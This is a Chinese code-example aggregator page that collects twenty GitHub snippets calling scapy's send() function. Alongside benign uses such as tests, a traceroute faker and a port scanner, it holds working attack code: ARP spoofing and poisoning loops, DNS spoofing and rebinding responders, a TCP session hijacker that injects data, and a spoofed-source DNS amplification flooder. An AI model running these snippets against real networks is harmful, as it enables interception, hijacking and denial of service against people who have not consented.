• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    迪恩网络公众号

Python all.send函数代码示例

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

本文整理汇总了Python中scapy.all.send函数的典型用法代码示例。如果您正苦于以下问题:Python send函数的具体用法?Python send怎么用?Python send使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。



在下文中一共展示了send函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Python代码示例。

示例1: send_pkts

    def send_pkts(self):
        conf.iface6=helpers.INTERFACE


        for pkt in self.inst.crafts() :
            send(pkt, verbose=True)
            self.inst.add_to_snd(pkt)
开发者ID:Tycale,项目名称:SFC-SR,代码行数:7,代码来源:tester.py


示例2: hasRawSocketPermission

def hasRawSocketPermission():
    from scapy.all import IP, send
    try:
        send(IP(src="1.2.3.4", dst="127.0.0.1"))
        return True
    except (socket.error, OSError):
        return False
开发者ID:alexwebr,项目名称:ooni-probe,代码行数:7,代码来源:txscapy.py


示例3: main

def main():
    """
    :return: void()
    """
    seq = 0
    ack = 0
    # Hand Shake
    ip_layer = IP(src=SRC_IP, dst=DST_IP)
    tcp_layer = TCP(dport=PORT, seq=100, flags='S')
    syn_pkg = ip_layer / tcp_layer
    syn_ack_pkg = sr1(syn_pkg)
    if syn_ack_pkg != 0:
        ip_layer = IP(src=SRC_IP, dst=DST_IP)
        tcp_layer = TCP(dport=PORT, seq=syn_ack_pkg[TCP].ack,
                        ack=(syn_ack_pkg[TCP].seq + 1), flags='A')
        ack_pkg = ip_layer / tcp_layer
        seq = syn_ack_pkg[TCP].ack
        ack = syn_ack_pkg[TCP].seq + 1
        send(ack_pkg)
    print "Sould be connected to server by this point"
    # Finish hand-Shake
    ip_layer = IP(src=SRC_IP, dst=DST_IP)
    tcp_layer = TCP(dport=PORT, seq=seq,
                    ack=ack, flags='A')
    msg = raw_input('Enter text here: \n')
    http_msg = 'GET / HTTP/1.1\r\n' + msg + '\r\n'
    print 'http_msg: ' + str(http_msg)
    print 'src_ip: ' + str(SRC_IP)
    enc_msg = hmac.new(KEY,http_msg + SRC_IP, sha256)
    msg2 = http_msg + http_msg + enc_msg.hexdigest() + "\r\n\r\n"
    com_pkg = ip_layer / tcp_layer / msg2
    com_pkg.show()
    com_ans_pkg = sr1(com_pkg)
    com_ans_pkg.show()
开发者ID:alexstolr,项目名称:Cyber-security-defense-of-network-based-environments,代码行数:34,代码来源:q2httpclient.py


示例4: arp_hack

 def arp_hack(self, arp_ip, dsthw, dstip):
     t = ARP(op=2,
             hwsrc=self.arp_mac,
             psrc=arp_ip,
             hwdst=dsthw,
             pdst=dstip)
     send(t, iface=self.ifname)
开发者ID:DrWrong,项目名称:SnifferLite,代码行数:7,代码来源:arp.py


示例5: dns_callback

def dns_callback(pkt):
    if DNS in pkt and not UDPerror in pkt:
        
        global first_request
        global dns_id
        
        ip=pkt.getlayer(IP)
        dns=pkt.getlayer(DNS)
        
        if dns.qr:
            return dns.summary()
        else:
            if dns.qd != None and dns_id != dns.id:
                    
                if confusion in dns.qd.qname:
                    dns_id = dns.id

                    answer = IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)/DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname, type="CNAME", ttl=dns_ttl, rdata=attacker)/DNSRR(rrname=attacker, ttl=dns_ttl, rdata=victim))
                    send(answer,loop=0)
                    
                    return dns.summary()
                    
                elif attacker in dns.qd.qname:
                    
                    dns_id = dns.id
                    
                    answer = IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)/DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname, ttl=dns_ttl, rdata=attacker_ip)/DNSRR(rrname=dns.qd.qname, ttl=dns_ttl, rdata=victim))
                    send(answer,loop=0)
                    
                    return dns.summary()
开发者ID:hackerpraktikum,项目名称:DNS-Rebinding,代码行数:30,代码来源:myDNS2.py


示例6: testCrossProtocolCrash

  def testCrossProtocolCrash(self):
    # Checks that an ICMP error containing a ping packet that matches the ID
    # of a socket of the wrong protocol (which can happen when using 464xlat)
    # doesn't crash the kernel.

    # We can only test this using IPv6 unreachables and IPv4 ping sockets,
    # because IPv4 packets sent by scapy.send() on loopback are not received by
    # the kernel. So we don't actually use this function yet.
    def GetIPv4Unreachable(port):  # pylint: disable=unused-variable
      return (scapy.IP(src="192.0.2.1", dst="127.0.0.1") /
              scapy.ICMP(type=3, code=0) /
              scapy.IP(src="127.0.0.1", dst="127.0.0.1") /
              scapy.ICMP(type=8, id=port, seq=1))

    def GetIPv6Unreachable(port):
      return (scapy.IPv6(src="::1", dst="::1") /
              scapy.ICMPv6DestUnreach() /
              scapy.IPv6(src="::1", dst="::1") /
              scapy.ICMPv6EchoRequest(id=port, seq=1, data="foobarbaz"))

    # An unreachable matching the ID of a socket of the wrong protocol
    # shouldn't crash.
    s = net_test.IPv4PingSocket()
    s.connect(("127.0.0.1", 12345))
    _, port = s.getsockname()
    scapy.send(GetIPv6Unreachable(port))
开发者ID:AOSP-JF-MM,项目名称:platform_system_extras,代码行数:26,代码来源:ping6_test.py


示例7: send

	def send(self):
		for i in range(1,args.pn):
			send(self.train_packets)
		ans,re=sr(self.final_packet,timeout=2)
		if ans == []:
			raise Exception("Timeout: The specified open port may be not open, try -op to change it")
		return ans[0][1].time-ans[0][0].sent_time
开发者ID:smoothy,项目名称:wscan,代码行数:7,代码来源:wscan.py


示例8: handle_packet

def handle_packet(packet):
    ip = packet.getlayer("IP")
    tcp = packet.getlayer("TCP")
    flags = tcp.sprintf("%flags%")

    print "Got packet %s:%d -> %s:%d [%s]" % (ip.src, tcp.port, ip.dst, tcp.dport, flags)
    # check if this is a hijackable packet
    if tcp.sprintf("%flags%") == "A" or tcp.sprintf("%flags%") == "PA":
        already_hijacked = hijack_data.get(ip.dst, {}).get('hijacked')
        #the packet is from server to client
        if tcp.sport == srv_port and ip.src == srv_ip and not already_hijacked:
            print "Got server sequence " + str(tcp.seq)
            print "Got client sequence " + str(tcp.ack) + "\n"
            # Found the payload?
            if grep in str(tcp.payload):
                hijack_data.setdefault(ip.dst, {})['hijack'] = True
                print "Found payload " + str(tcp.payload)
            elif not grep:
                hijack_data.setdefault(ip.dst, {})['hijack'] = True
            if hijack_data.setdefault(ip.dst, {}).get('hijack'):
                print "Hijacking %s:%d -> %s:%d" % (ip.dst, tcp.dport, ip.src, srv_port)
                # spoof packet from client
                packet = IP(src=ip.dst, dst=ip.src) /\
                        TCP(sport=tcp.dport, dport=srv_port, seq=tcp.ack + len(inject_data), ack=tcp.seq + 1,
                                flags="PA") / \
                        inject_data
                send(packet, iface=dev)
                hijack_data[ip.dst]['hijacked'] = True
开发者ID:dantangfan,项目名称:hackWithPython,代码行数:28,代码来源:AutomaticHijackDaemon.py


示例9: run

    def run(self, state, pkt, wait,timeout=None):
        """Send pkt, receive the answer if wait is True, and return a tuple
        (validity of reply packet, reply packet). If no test function is
        given, assume it's valid."""
        self.dbgshow(pkt)
        if wait: # do we wait for a reply ?
            self.debug("Waiting for packet...", level=2)
            if pkt is None:
                timeout, buffermode = None, False
                if type(wait) is tuple:
                    wait, timeout, buffermode = wait
                    #print wait
                    #wait, buffermode = wait
                if hasattr(wait, '__call__'):
                    ans = self.waitForPacket(filterfct=wait, timeout=timeout)
#                     if buffermode: # ans is a buffer (list)
#                         self.debug("Entering buffer mode.", level=1)
#                         return [self.packetReceived(pkt,buffermode=True) for pkt in ans]
                else:
                    raise Exception("error, no packet generated.")
            else:
                #TODO: Make sure this waits continuously in a non blocking mode, convert this to dumping from a queue
                ans=sr1(pkt)
        else:
            send(pkt)
            #print pkt
            self.first = True # prev_pkt shouldnt be taken into account
            self.debug("Packet sent, no waiting, going on with next.",2)
            return (True, None) # no reply, no check
        return self.packetReceived(ans) # post-reply actions
开发者ID:Neohapsis,项目名称:mptcp-abuse,代码行数:30,代码来源:core.py


示例10: do_callback

def do_callback(payload):
    data = payload.get_data()
    pkt = IPv6(data)
    if pkt.version == 6:
        if pkt.nh == 58 or pkt.nh == 17 or pkt.nh == 6:
            # Significant packet received - ICMPv6 / UDP / TCP
            reply = IPv6()
            reply.dst = pkt[IPv6].src
            hl = pkt[IPv6].hlim
            icmp = None
            response = None
            if hl < path_length:
                icmp = ICMPv6TimeExceeded(code=0)
                reply.src = "%s%s" % (prefix, hl)
            else:
                # Packet with hlim >= path_length received. 'Destination' reached.
                reply.src = destination
                if isinstance(pkt[1], ICMPv6EchoRequest):
                    # Reply to the ping
                    response = ICMPv6EchoReply(id=pkt[1].id, seq=pkt[1].seq, data=pkt[1].data)
                if isinstance(pkt[1], TCP) and pkt[1].flags == 'S':
                    # Reject the TCP SYN
                    response = TCP(sport=pkt[1].dport, dport=pkt[1].sport, seq=pkt[1].seq, flags='R')
                if isinstance(pkt[1], UDP):
                    # Reject the UDP pkt with ICMPv6 port unreachable
                    icmp = ICMPv6DestUnreach(code=4)
            try:
                if icmp != None and response == None:
                    send(reply/icmp/pkt, verbose=0)
                elif icmp == None and response != None:
                    send(reply/response, verbose=0)
            except UnboundLocalError:
                print(time.ctime() + ': UnboundLocalError')
                pass
开发者ID:job,项目名称:ipv6-traceroute-faker,代码行数:34,代码来源:ipv6-traceroute-faker.py


示例11: handle_packet

def handle_packet(packet):
    ip = packet.getlayer(scapy.IP)
    udp = packet.getlayer(scapy.UDP)
    dns = packet.getlayer(scapy.DNS)


    # standard (a record) dns query
    if dns.qr == 0 and dns.opcode == 0:
        queried_host = dns.qd.qname[:-1]
        resolved_ip = None

        if dns_map.get(queried_host):
            resolved_ip = dns_map.get(queried_host)
        elif dns_map.get('*'):
            resolved_ip = dns_map.get('*')
        
        if resolved_ip:
            dns_answer = scapy.DNSRR(rrname=queried_host + '.',
                                     ttl = 330,
                                     type="A",
                                     rclass="IN",
                                     rdata=resolved_ip)
            dns_reply = scapy.IP(src=ip.dst, dst=ip.src) / \
                    scapy.UDP(sport=udp.dport,dport=udp.sport) / \
                    scapy.DNS(
                        id = dns.id,
                        qr = 1,
                        aa = 0,
                        rcode = 0,
                        qd = dns.qd,
                        an = dns_answer
                    )
            print "Send %s has %s to %s" % (queried_host,resolved_ip,ip.src)
            scapy.send(dns_reply, iface=dev)
开发者ID:randall2030,项目名称:hacking_script,代码行数:34,代码来源:dns_spoof.py


示例12: store

def store(pkg):
    if pkg.haslayer(DNS) and pkg.haslayer(DNSRR) and pkg[DNS].ancount:
        # 是DNS 是DNS回答 有CNAME回答内容
        count, order = extract_count_and_order(pkg[UDP].dport, pkg[DNS].id)
        for i in range(pkg[DNS].ancount):
            if pkg[DNSRR][i].type == CNAME and order <= 5:
                record = "{count} {order} {address}\n".format(
                    count=count,
                    order=order,
                    address=pkg[DNSRR][i].rdata.strip().rstrip("."),
                )
                stdout.write(record)

                ret_data = pkg[DNSRR][i].rdata

                sport, dns_id = get_sport_and_id(count, order+1)

                dns_query = IP(
                    dst="8.8.8.8",
                )/UDP(
                    sport=sport,
                    dport=53,
                )/DNS(
                    id=dns_id,
                    rd=1,
                    qd=DNSQR(
                        qname=ret_data.strip().rstrip("."),
                        qtype=CNAME,
                    ),
                )
                send([dns_query, dns_query, dns_query], verbose=0)
开发者ID:zhao-ji,项目名称:mikrotikConf,代码行数:31,代码来源:recieve_DNS_record.py


示例13: stop_packet

 def stop_packet(self):
     '''
     Send a dummy TCP packet to the victim with source IP the destination host's,
     which will be caught by sniff filter and cause sniff function to stop.
     '''
     dummy_packet = IP(dst=self.destination_ip, src=self.source_ip)/TCP(dport=self.destination_port)
     send(dummy_packet, verbose=0)
开发者ID:dionyziz,项目名称:rupture,代码行数:7,代码来源:sniffer.py


示例14: hack

def hack(hackip):
    ip = get_gataway_ip()
    hw = get_gataway_hw(ip)
    arp = ARP(op=2, pdst=ip, hwdst=hw, psrc=hackip)
    # os.popen('ifconfig eth0 %s' % hackip)
    while 1:
        send(arp)
开发者ID:M-Kepler,项目名称:Python,代码行数:7,代码来源:arp3.py


示例15: __synfin

	def __synfin(self, i, payload):
		data = payload.get_data()
		p = scapy.IP(data)
		p[scapy.TCP].flags = "SF"
		del p[scapy.IP].chksum
		del p[scapy.TCP].chksum
		p = p.__class__(str(p))
		scapy.send(p);
开发者ID:v-p-b,项目名称:buherablog-packet-fu,代码行数:8,代码来源:pfu.py


示例16: gw_poison

def gw_poison():
    gw = scapy.ARP(pdst=gateway, psrc=target)
    while True:
        try:
            scapy.send(gw,verbose=0,inter=1,loop=1)
        except KeyboardInterupt:
            print(bcolours.OKBLUE + '  [Warning] Stopping...' + bcolours.ENDC)
            sys.exit(3)
开发者ID:bradparks,项目名称:arpy,代码行数:8,代码来源:arpy.py


示例17: ack

 def ack(self):
     # TODO check the limit size
     l = self.compress(self.to_ack)
     ack_pkt = Core.forge_packet(
         self, self.fast_pkt, "{0}.{1}".format(_FAST, l),
     )
     send(ack_pkt, verbose=0)
     raise self.WAITING()
开发者ID:zhao-ji,项目名称:dnscapy,代码行数:8,代码来源:dnscapy_server.py


示例18: arpspoof

def arpspoof(victim_ip):
    #gateway=["10.61.3.254","38:22:d6:bf:51:00"]
    gateway=['192.168.100.110','5c:f3:fc:e7:4c:c2']
    ip=gateway[0]
    hw=gateway[1]
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=victim_ip)
    while 1:
        send(arp)
开发者ID:caisan,项目名称:iFeel,代码行数:8,代码来源:arpspoof.py


示例19: scan_port

def scan_port(host, port):
    # Send SYN with random Src Port for each Dst port
    srcPort = random.randint(1025, 65534)
    resp = sr1(IP(dst=host) / TCP(sport=srcPort, dport=port, flags="S"), timeout=1, verbose=0)
    if resp.haslayer(TCP) and resp[TCP].flags == (TCPFlag.SYN | TCPFlag.ACK):
        send(IP(dst=host) / TCP(sport=srcPort, dport=port, flags="R"), timeout=1, verbose=0)
        return True

    return False
开发者ID:raphaeldore,项目名称:analyzr,代码行数:9,代码来源:network.py


示例20: dnsamp

def dnsamp(target):
    while not finished:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        with open(sys.argv[2],"r") as ampers:
            for ipaddr in ampers:
                ipaddr = ipaddr.rstrip()
                send(IP(dst=ipaddr, src=target)/UDP(dport=53, sport=random.randrange(1024,65535))/DNS(qd=DNSQR(qname=".", qtype="NS")),verbose=0)
                send(IP(dst=ipaddr, src=target)/UDP(dport=53, sport=random.randrange(1024,65535))/DNS(qd=DNSQR(qname="goo.gl", qtype="TXT")),verbose=0)
                print "Sent request to: "+ipaddr
开发者ID:NinjaSl0th,项目名称:Megalodon,代码行数:9,代码来源:megalodonx.py



注:本文中的scapy.all.send函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
Python all.sendp函数代码示例发布时间:2022-05-27
下一篇:
Python all.rdpcap函数代码示例发布时间:2022-05-27
热门推荐
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap